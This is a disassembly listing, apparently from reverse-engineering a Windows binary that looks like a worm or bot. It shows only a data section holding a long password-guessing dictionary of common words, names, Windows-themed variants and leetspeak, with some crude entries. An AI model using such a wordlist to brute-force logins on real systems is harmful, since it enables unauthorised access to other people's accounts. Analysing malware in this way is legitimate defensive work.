dword_4282F0	dd 4021h		; DATA XREF: nsp0:00426E50o
dword_4282F4	dd 21h			; DATA XREF: sub_401AC7+19Ao
					; sub_401AC7+6FA4o ...
dword_4282F8	dd 25h			; DATA XREF: nsp0:00426E48o
aZimmerman	db 'zimmerman',0        ; DATA XREF: nsp0:00426E44o
		align 4
aZap		db 'zap',0              ; DATA XREF: nsp0:00426E40o
aYellowstone	db 'yellowstone',0      ; DATA XREF: nsp0:00426E3Co
aXyz		db 'xyz',0              ; DATA XREF: nsp0:00426E38o
					; nsp0:00427330o
aWisconsin	db 'wisconsin',0        ; DATA XREF: nsp0:00426E34o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: nsp0:00426E30o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: nsp0:00426E2Co
		align 4
aTty		db 'tty',0              ; DATA XREF: nsp0:00426E28o
aTopography	db 'topography',0       ; DATA XREF: nsp0:00426E24o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: nsp0:00426E20o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: nsp0:00426E1Co
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: nsp0:00426E18o
		align 4
aSys		db 'sys',0              ; DATA XREF: nsp0:00426E14o
aSupported	db 'supported',0        ; DATA XREF: nsp0:00426E10o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: nsp0:00426E0Co
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: nsp0:00426E08o
		align 10h
aSun		db 'sun',0              ; DATA XREF: nsp0:00426E04o
aStuttgart	db 'stuttgart',0        ; DATA XREF: nsp0:00426E00o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: nsp0:00426DFCo
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: nsp0:00426DF8o
		align 4
aSignature	db 'signature',0        ; DATA XREF: nsp0:00426DF4o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: nsp0:00426DF0o
		align 10h
aSal		db 'sal',0              ; DATA XREF: nsp0:00426DECo
aRochester	db 'rochester',0        ; DATA XREF: nsp0:00426DE8o
		align 10h
aRje		db 'rje',0              ; DATA XREF: nsp0:00426DE4o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: nsp0:00426DE0o
		align 4
aPub		db 'pub',0              ; DATA XREF: nsp0:00426DDCo
aProfessor	db 'professor',0        ; DATA XREF: nsp0:00426DD8o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: nsp0:00426DD4o
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: nsp0:00426DD0o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: nsp0:00426DCCo
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: nsp0:00426DC8o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: nsp0:00426DC4o
		align 10h
aPam		db 'pam',0              ; DATA XREF: nsp0:00426DC0o
aPad		db 'pad',0              ; DATA XREF: nsp0:00426DBCo
aOceanography	db 'oceanography',0     ; DATA XREF: nsp0:00426DB8o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: nsp0:00426DB4o
		align 4
aNew		db 'new',0              ; DATA XREF: nsp0:00426DB0o
aNet		db 'net',0              ; DATA XREF: sub_401AC7+3C84o
					; nsp0:00426DACo
aMit		db 'mit',0              ; DATA XREF: nsp0:00426DA8o
aMgr		db 'mgr',0              ; DATA XREF: nsp0:00426DA4o
aMacintosh	db 'macintosh',0        ; DATA XREF: nsp0:00426DA0o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: nsp0:00426D9Co
aLee		db 'lee',0              ; DATA XREF: nsp0:00426D98o
aLamination	db 'lamination',0       ; DATA XREF: nsp0:00426D94o
		align 4
aKim		db 'kim',0              ; DATA XREF: nsp0:00426D90o
aKey		db 'key',0              ; DATA XREF: sub_401AC7+14F7o
					; nsp0:00426D8Co
aJoy		db 'joy',0              ; DATA XREF: nsp0:00426D88o
aJen		db 'jen',0              ; DATA XREF: nsp0:00426D84o
aInnocuous	db 'innocuous',0        ; DATA XREF: nsp0:00426D80o
		align 10h
aImbroglio	db 'imbroglio',0        ; DATA XREF: nsp0:00426D7Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: nsp0:00426D78o
aHappening	db 'happening',0        ; DATA XREF: nsp0:00426D74o
		align 4
aHal		db 'hal',0              ; DATA XREF: nsp0:00426D70o
aGnu		db 'gnu',0              ; DATA XREF: nsp0:00426D6Co
aFun		db 'fun',0              ; DATA XREF: nsp0:00426D68o
aForesight	db 'foresight',0        ; DATA XREF: nsp0:00426D64o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: nsp0:00426D60o
		align 10h
aExtension	db 'extension',0        ; DATA XREF: nsp0:00426D5Co
		align 4
aEstablish	db 'establish',0        ; DATA XREF: nsp0:00426D58o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: nsp0:00426D54o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: nsp0:00426D50o
		align 10h
aEiderdown	db 'eiderdown',0        ; DATA XREF: nsp0:00426D4Co
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: nsp0:00426D48o
		align 4
aDos		db 'dos',0              ; DATA XREF: nsp0:00426D44o
aDog		db 'dog',0              ; DATA XREF: nsp0:00426D40o
aDiscovery	db 'discovery',0        ; DATA XREF: nsp0:00426D3Co
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: nsp0:00426D38o
		align 4
aDeb		db 'deb',0              ; DATA XREF: nsp0:00426D34o
aCornelius	db 'cornelius',0        ; DATA XREF: nsp0:00426D30o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: nsp0:00426D2Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: nsp0:00426D28o
		align 10h
aChristina	db 'christina',0        ; DATA XREF: nsp0:00426D24o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: nsp0:00426D20o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: nsp0:00426D1Co
		align 4
aCat		db 'cat',0              ; DATA XREF: nsp0:00426D18o
aCampanile	db 'campanile',0        ; DATA XREF: nsp0:00426D14o
		align 4
aCad		db 'cad',0              ; DATA XREF: nsp0:00426D10o
aBsd		db 'bsd',0              ; DATA XREF: nsp0:00426D0Co
aBob		db 'bob',0              ; DATA XREF: nsp0:00426D08o
aBicameral	db 'bicameral',0        ; DATA XREF: nsp0:00426D04o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: nsp0:00426D00o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: nsp0:00426CFCo
		align 4
aAsm		db 'asm',0              ; DATA XREF: nsp0:00426CF8o
aAsd		db 'asd',0              ; DATA XREF: nsp0:00426CF4o
					; nsp0:00427360o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: nsp0:00426CF0o
		align 4
aAnn		db 'ann',0              ; DATA XREF: nsp0:00426CECo
aAndromache	db 'andromache',0       ; DATA XREF: nsp0:00426CE8o
		align 4
aAmy		db 'amy',0              ; DATA XREF: nsp0:00426CE4o
aAmorphous	db 'amorphous',0        ; DATA XREF: nsp0:00426CE0o
		align 4
aAma		db 'ama',0              ; DATA XREF: nsp0:00426CDCo
aAlf		db 'alf',0              ; DATA XREF: nsp0:00426CD8o
aAlbatross	db 'albatross',0        ; DATA XREF: nsp0:00426CD4o
		align 10h
aAda		db 'ada',0              ; DATA XREF: nsp0:00426CD0o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: nsp0:00426CCCo
		align 10h
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: nsp0:00426CC8o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: nsp0:00426CC4o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: nsp0:00426CC0o
		align 4
aHax		db 'hax',0              ; DATA XREF: nsp0:00426CBCo
aWh0re		db 'wh0re',0            ; DATA XREF: nsp0:00426CB8o
		align 4
aHo		db 'ho',0               ; DATA XREF: nsp0:00426CB4o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: nsp0:00426CB0o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: nsp0:00426CACo
		align 10h
aWindoze98	db 'windoze98',0        ; DATA XREF: nsp0:00426CA8o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: nsp0:00426CA4o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: nsp0:00426CA0o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: nsp0:00426C9Co
		align 10h
aWindows95	db 'windows95',0        ; DATA XREF: nsp0:00426C98o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: nsp0:00426C94o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: nsp0:00426C90o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: nsp0:00426C8Co
		align 10h
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: nsp0:00426C88o
		align 4
aMs		db 'MS',0               ; DATA XREF: nsp0:00426C84o
		align 10h
aM_0		db 'M$',0               ; DATA XREF: nsp0:00426C80o
		align 4
aBilly		db 'billy',0            ; DATA XREF: nsp0:00426C7Co
		align 4
aWindose	db 'windose',0          ; DATA XREF: nsp0:00426C78o
aWindoze	db 'windoze',0          ; DATA XREF: nsp0:00426C74o
aWindowz	db 'windowz',0          ; DATA XREF: nsp0:00426C70o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: nsp0:00426C6Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: nsp0:00426C68o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: nsp0:00426C64o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: nsp0:00426C60o
		align 10h
aDud3		db 'dud3',0             ; DATA XREF: nsp0:00426C5Co
		align 4
aDudette	db 'dudette',0          ; DATA XREF: nsp0:00426C58o
aD00d		db 'd00d',0             ; DATA XREF: nsp0:00426C54o
		align 4
aLol		db 'lol',0              ; DATA XREF: nsp0:00426C50o
					; nsp0:00438E10o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: nsp0:00426C4Co
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: nsp0:00426C48o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: nsp0:00426C44o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: nsp0:00426C40o
		align 4
aTestin		db 'testin',0           ; DATA XREF: nsp0:00426C3Co
		align 4
aTester		db 'tester',0           ; DATA XREF: nsp0:00426C38o
		align 4
a00000000	db '00000000',0         ; DATA XREF: nsp0:00426C34o
					; nsp0:00426EF0o
		align 10h
aZulu		db 'zulu',0             ; DATA XREF: nsp0:00426C30o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: nsp0:00426C2Co
		align 10h
aZmodem		db 'zmodem',0           ; DATA XREF: nsp0:00426C28o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: nsp0:00426C24o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: nsp0:00426C20o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: nsp0:00426C1Co
		align 4
aZebra		db 'zebra',0            ; DATA XREF: nsp0:00426C18o
		align 10h
aYoung		db 'young',0            ; DATA XREF: nsp0:00426C14o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: nsp0:00426C10o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: nsp0:00426C0Co
aYellowst	db 'yellowst',0         ; DATA XREF: nsp0:00426C08o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: nsp0:00426C04o
		align 10h
aYankee		db 'yankee',0           ; DATA XREF: nsp0:00426C00o
		align 4
aYang		db 'yang',0             ; DATA XREF: nsp0:00426BFCo
					; nsp0:00427338o
		align 10h
aYaco		db 'yaco',0             ; DATA XREF: nsp0:00426BF8o
					; nsp0:00427334o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: nsp0:00426BF4o
		align 10h
aXray		db 'xray',0             ; DATA XREF: nsp0:00426BF0o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: nsp0:00426BECo
		align 10h
aXmen		db 'xmen',0             ; DATA XREF: nsp0:00426BE8o
		align 4
aXman		db 'xman',0             ; DATA XREF: nsp0:00426BE4o
		align 10h
aXfer		db 'xfer',0             ; DATA XREF: nsp0:00426BE0o
		align 4
aXena		db 'xena',0             ; DATA XREF: nsp0:00426BDCo
		align 10h
aWyoming	db 'wyoming',0          ; DATA XREF: nsp0:00426BD8o
aWwii		db 'wwii',0             ; DATA XREF: nsp0:00426BD4o
		align 10h
aWormwood	db 'wormwood',0         ; DATA XREF: nsp0:00426BD0o
		align 4
aWorm		db 'worm',0             ; DATA XREF: nsp0:00426BCCo
		align 4
aWork		db 'work',0             ; DATA XREF: nsp0:00426BC8o
		align 4
aWorf		db 'worf',0             ; DATA XREF: nsp0:00426BC4o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: nsp0:00426BC0o
		align 10h
aWord		db 'word',0             ; DATA XREF: nsp0:00426BBCo
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: nsp0:00426BB8o
		align 4
aWood		db 'wood',0             ; DATA XREF: nsp0:00426BB4o
		align 4
aWomen		db 'women',0            ; DATA XREF: nsp0:00426BB0o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: nsp0:00426BACo
		align 4
aWoman		db 'woman',0            ; DATA XREF: nsp0:00426BA8o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: nsp0:00426BA4o
		align 10h
aWolf		db 'wolf',0             ; DATA XREF: nsp0:00426BA0o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: nsp0:00426B9Co
		align 10h
aWithin		db 'within',0           ; DATA XREF: nsp0:00426B98o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: nsp0:00426B94o
aWisconsi	db 'wisconsi',0         ; DATA XREF: nsp0:00426B90o
		align 4
aWired		db 'wired',0            ; DATA XREF: nsp0:00426B8Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: nsp0:00426B88o
aWing		db 'wing',0             ; DATA XREF: nsp0:00426B84o
		align 4
aWine		db 'wine',0             ; DATA XREF: nsp0:00426B80o
		align 4
aWindows	db 'windows',0          ; DATA XREF: nsp0:00426B7Co
aWilma		db 'wilma',0            ; DATA XREF: nsp0:00426B78o
		align 4
aWillie		db 'willie',0           ; DATA XREF: nsp0:00426B74o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: nsp0:00426B70o
		align 10h
aWilliam	db 'william',0          ; DATA XREF: nsp0:00426B6Co
aWill		db 'will',0             ; DATA XREF: nsp0:00426B68o
		align 10h
aWhore		db 'whore',0            ; DATA XREF: nsp0:00426B64o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: nsp0:00426B60o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: nsp0:00426B5Co
aWhiting	db 'whiting',0          ; DATA XREF: nsp0:00426B58o
aWhite		db 'white',0            ; DATA XREF: nsp0:00426B54o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: nsp0:00426B50o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: nsp0:00426B4Co
aWhatever	db 'whatever',0         ; DATA XREF: nsp0:00426B48o
		align 4
aWestern	db 'western',0          ; DATA XREF: nsp0:00426B44o
aWest		db 'west',0             ; DATA XREF: nsp0:00426B40o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: nsp0:00426B3Co
		align 4
aWendy		db 'wendy',0            ; DATA XREF: nsp0:00426B38o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: nsp0:00426B34o
		align 4
aWell		db 'well',0             ; DATA XREF: nsp0:00426B30o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: nsp0:00426B2Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: nsp0:00426B28o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: nsp0:00426B24o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: nsp0:00426B20o
aWave		db 'wave',0             ; DATA XREF: nsp0:00426B1Co
		align 4
aWater		db 'water',0            ; DATA XREF: nsp0:00426B18o
		align 10h
aWatchwor	db 'watchwor',0         ; DATA XREF: nsp0:00426B14o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: nsp0:00426B10o
		align 4
aWarren		db 'warren',0           ; DATA XREF: nsp0:00426B0Co
		align 4
aWarp		db 'warp',0             ; DATA XREF: nsp0:00426B08o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: nsp0:00426B04o
		align 10h
aWarfare	db 'warfare',0          ; DATA XREF: nsp0:00426B00o
aWarez		db 'warez',0            ; DATA XREF: nsp0:00426AFCo
		align 10h
aWard		db 'ward',0             ; DATA XREF: nsp0:00426AF8o
		align 4
aWaco		db 'waco',0             ; DATA XREF: nsp0:00426AF4o
		align 10h
aVodka		db 'vodka',0            ; DATA XREF: nsp0:00426AF0o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: nsp0:00426AECo
		align 4
aVisual		db 'visual',0           ; DATA XREF: nsp0:00426AE8o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: nsp0:00426AE4o
aVirus		db 'virus',0            ; DATA XREF: nsp0:00426AE0o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: nsp0:00426ADCo
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: nsp0:00426AD8o
		align 10h
aVillage	db 'village',0          ; DATA XREF: nsp0:00426AD4o
aVideogam	db 'videogam',0         ; DATA XREF: nsp0:00426AD0o
		align 4
aVideo		db 'video',0            ; DATA XREF: nsp0:00426ACCo
		align 4
aVictor		db 'victor',0           ; DATA XREF: nsp0:00426AC8o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: nsp0:00426AC4o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: nsp0:00426AC0o
aVeronica	db 'veronica',0         ; DATA XREF: nsp0:00426ABCo
		align 10h
aVenus		db 'venus',0            ; DATA XREF: nsp0:00426AB8o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: nsp0:00426AB4o
		align 10h
aVampire	db 'vampire',0          ; DATA XREF: nsp0:00426AB0o
aValerie	db 'valerie',0          ; DATA XREF: nsp0:00426AACo
aVagina		db 'vagina',0           ; DATA XREF: nsp0:00426AA8o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: nsp0:00426AA4o
		align 10h
aUtility	db 'utility',0          ; DATA XREF: nsp0:00426AA0o
aUtil		db 'util',0             ; DATA XREF: nsp0:00426A9Co
		align 10h
aUsmc		db 'usmc',0             ; DATA XREF: nsp0:00426A98o
		align 4
aUsername	db 'username',0         ; DATA XREF: nsp0:00426A94o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: nsp0:00426A90o
		align 10h
aUsenet		db 'usenet',0           ; DATA XREF: nsp0:00426A8Co
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: nsp0:00426A88o
		align 10h
aUrchin		db 'urchin',0           ; DATA XREF: nsp0:00426A84o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: nsp0:00426A80o
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_401AC7+4F53o
					; nsp0:00426A7Co
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: nsp0:00426A78o
		align 10h
aUnknown_0	db 'unknown',0          ; DATA XREF: nsp0:00426A74o
aUniversi	db 'universi',0         ; DATA XREF: nsp0:00426A70o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: nsp0:00426A6Co
		align 10h
aUniversa	db 'universa',0         ; DATA XREF: nsp0:00426A68o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: nsp0:00426A64o
aUnicorn	db 'unicorn',0          ; DATA XREF: nsp0:00426A60o
aUnhappy	db 'unhappy',0          ; DATA XREF: nsp0:00426A5Co
aUndo		db 'undo',0             ; DATA XREF: nsp0:00426A58o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: nsp0:00426A54o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: nsp0:00426A50o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: nsp0:00426A4Co
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: nsp0:00426A48o
		align 4
aTurn		db 'turn',0             ; DATA XREF: nsp0:00426A44o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: nsp0:00426A40o
aTubas		db 'tubas',0            ; DATA XREF: nsp0:00426A3Co
		align 4
aTruth		db 'truth',0            ; DATA XREF: nsp0:00426A38o
		align 4
aTrue		db 'true',0             ; DATA XREF: nsp0:00426A34o
		align 4
aTron		db 'tron',0             ; DATA XREF: nsp0:00426A30o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: nsp0:00426A2Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: nsp0:00426A28o
		align 10h
aTrivial	db 'trivial',0          ; DATA XREF: nsp0:00426A24o
aTrisha		db 'trisha',0           ; DATA XREF: nsp0:00426A20o
		align 10h
aTrek		db 'trek',0             ; DATA XREF: nsp0:00426A1Co
		align 4
aTree		db 'tree',0             ; DATA XREF: nsp0:00426A18o
					; nsp0:00438CA4o
		align 10h
aTrapdoor	db 'trapdoor',0         ; DATA XREF: nsp0:00426A14o
		align 4
aTrap		db 'trap',0             ; DATA XREF: nsp0:00426A10o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: nsp0:00426A0Co
		align 10h
aTrails		db 'trails',0           ; DATA XREF: nsp0:00426A08o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: nsp0:00426A04o
		align 10h
aTracie		db 'tracie',0           ; DATA XREF: nsp0:00426A00o
		align 4
aTraci		db 'traci',0            ; DATA XREF: nsp0:004269FCo
		align 10h
aToyota		db 'toyota',0           ; DATA XREF: nsp0:004269F8o
					; nsp0:00427308o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: nsp0:004269F4o
		align 10h
aTortoise	db 'tortoise',0         ; DATA XREF: nsp0:004269F0o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: nsp0:004269ECo
		align 4
aTomato		db 'tomato',0           ; DATA XREF: nsp0:004269E8o
		align 10h
aTokenrin	db 'tokenrin',0         ; DATA XREF: nsp0:004269E4o
		align 4
aToken		db 'token',0            ; DATA XREF: nsp0:004269E0o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: nsp0:004269DCo
		align 4
aToad		db 'toad',0             ; DATA XREF: nsp0:004269D8o
		align 4
aTits		db 'tits',0             ; DATA XREF: nsp0:004269D4o
		align 4
aTina		db 'tina',0             ; DATA XREF: nsp0:004269D0o
		align 4
aTime		db 'time',0             ; DATA XREF: nsp0:004269CCo
		align 4
aTiger		db 'tiger',0            ; DATA XREF: nsp0:004269C8o
					; nsp0:004272FCo
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: nsp0:004269C4o
aThursday	db 'thursday',0         ; DATA XREF: nsp0:004269C0o
		align 4
aThin		db 'thin',0             ; DATA XREF: nsp0:004269BCo
		align 10h
aTheresa	db 'theresa',0          ; DATA XREF: nsp0:004269B8o
aThailand	db 'thailand',0         ; DATA XREF: nsp0:004269B4o
		align 4
aText		db 'text',0             ; DATA XREF: nsp0:004269B0o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: nsp0:004269ACo
		align 4
aTess		db 'tess',0             ; DATA XREF: nsp0:004269A8o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: nsp0:004269A4o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: nsp0:004269A0o
		align 4
aTera		db 'tera',0             ; DATA XREF: nsp0:0042699Co
		align 4
aTennis		db 'tennis',0           ; DATA XREF: nsp0:00426998o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: nsp0:00426994o
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: nsp0:00426990o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: nsp0:0042698Co
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: nsp0:00426988o
aTeen		db 'teen',0             ; DATA XREF: nsp0:00426984o
		align 4
aTech		db 'tech',0             ; DATA XREF: nsp0:00426980o
		align 4
aTears		db 'tears',0            ; DATA XREF: nsp0:0042697Co
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: nsp0:00426978o
		align 4
aTeam		db 'team',0             ; DATA XREF: nsp0:00426974o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: nsp0:0042696Co
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: nsp0:00426968o
		align 4
aTarget		db 'target',0           ; DATA XREF: nsp0:00426964o
		align 10h
aTara		db 'tara',0             ; DATA XREF: nsp0:00426960o
		align 4
aTape		db 'tape',0             ; DATA XREF: nsp0:0042695Co
		align 10h
aTango		db 'tango',0            ; DATA XREF: nsp0:00426958o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: nsp0:00426954o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: nsp0:00426950o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: nsp0:0042694Co
		align 4
aTami		db 'tami',0             ; DATA XREF: nsp0:00426948o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: nsp0:00426944o
		align 4
aTall		db 'tall',0             ; DATA XREF: nsp0:00426940o
		align 4
aTalk		db 'talk',0             ; DATA XREF: nsp0:0042693Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: nsp0:00426938o
aSysop		db 'sysop',0            ; DATA XREF: nsp0:00426934o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: nsp0:00426930o
		align 10h
aSymmetry	db 'symmetry',0         ; DATA XREF: nsp0:0042692Co
		align 4
aSybil		db 'sybil',0            ; DATA XREF: nsp0:00426928o
		align 4
aSword		db 'sword',0            ; DATA XREF: nsp0:00426924o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: nsp0:00426920o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: nsp0:0042691Co
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: nsp0:00426918o
aSuzie		db 'suzie',0            ; DATA XREF: nsp0:00426914o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: nsp0:00426910o
aSusie		db 'susie',0            ; DATA XREF: nsp0:0042690Co
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: nsp0:00426908o
aSusan		db 'susan',0            ; DATA XREF: nsp0:00426904o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: nsp0:00426900o
aSurfer		db 'surfer',0           ; DATA XREF: nsp0:004268FCo
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: nsp0:004268F8o
		align 4
aSupport	db 'support',0          ; DATA XREF: nsp0:004268F4o
aSupervis	db 'supervis',0         ; DATA XREF: nsp0:004268F0o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: nsp0:004268ECo
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: nsp0:004268E8o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: nsp0:004268E4o
		align 10h
aSuperman	db 'superman',0         ; DATA XREF: nsp0:004268E0o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: nsp0:004268DCo
		align 4
aSummer		db 'summer',0           ; DATA XREF: nsp0:004268D8o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: nsp0:004268D4o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: nsp0:004268D0o
		align 10h
aSuck		db 'suck',0             ; DATA XREF: nsp0:004268CCo
		align 4
aSuccess	db 'success',0          ; DATA XREF: nsp0:004268C8o
aSubway		db 'subway',0           ; DATA XREF: nsp0:004268C4o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: nsp0:004268C0o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: nsp0:004268BCo
		align 10h
aStrip		db 'strip',0            ; DATA XREF: nsp0:004268B4o
		align 4
aString		db 'string',0           ; DATA XREF: nsp0:004268B0o
		align 10h
aStreetfi	db 'streetfi',0         ; DATA XREF: nsp0:004268ACo
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: nsp0:004268A8o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: nsp0:004268A4o
		align 4
aStrange	db 'strange',0          ; DATA XREF: nsp0:004268A0o
aStones		db 'stones',0           ; DATA XREF: nsp0:0042689Co
		align 4
aStoned		db 'stoned',0           ; DATA XREF: nsp0:00426898o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: nsp0:00426894o
		align 4
aSteve		db 'steve',0            ; DATA XREF: nsp0:00426890o
		align 10h
aStereo		db 'stereo',0           ; DATA XREF: nsp0:0042688Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: nsp0:00426888o
		align 4
aSteph		db 'steph',0            ; DATA XREF: nsp0:00426884o
		align 4
aSteel		db 'steel',0            ; DATA XREF: nsp0:00426880o
		align 4
aSteal		db 'steal',0            ; DATA XREF: nsp0:0042687Co
		align 4
aSteak		db 'steak',0            ; DATA XREF: nsp0:00426878o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: nsp0:00426874o
		align 10h
aStartup	db 'startup',0          ; DATA XREF: nsp0:00426870o
aStartrek	db 'startrek',0         ; DATA XREF: nsp0:0042686Co
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401AC7+3CDAo
					; nsp0:00426868o
		align 4
aStarship	db 'starship',0         ; DATA XREF: nsp0:00426864o
		align 4
aStar		db 'star',0             ; DATA XREF: nsp0:00426860o
		align 10h
aStacy		db 'stacy',0            ; DATA XREF: nsp0:0042685Co
		align 4
aStacie		db 'stacie',0           ; DATA XREF: nsp0:00426858o
		align 10h
aStaci		db 'staci',0            ; DATA XREF: nsp0:00426854o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: nsp0:00426850o
		align 10h
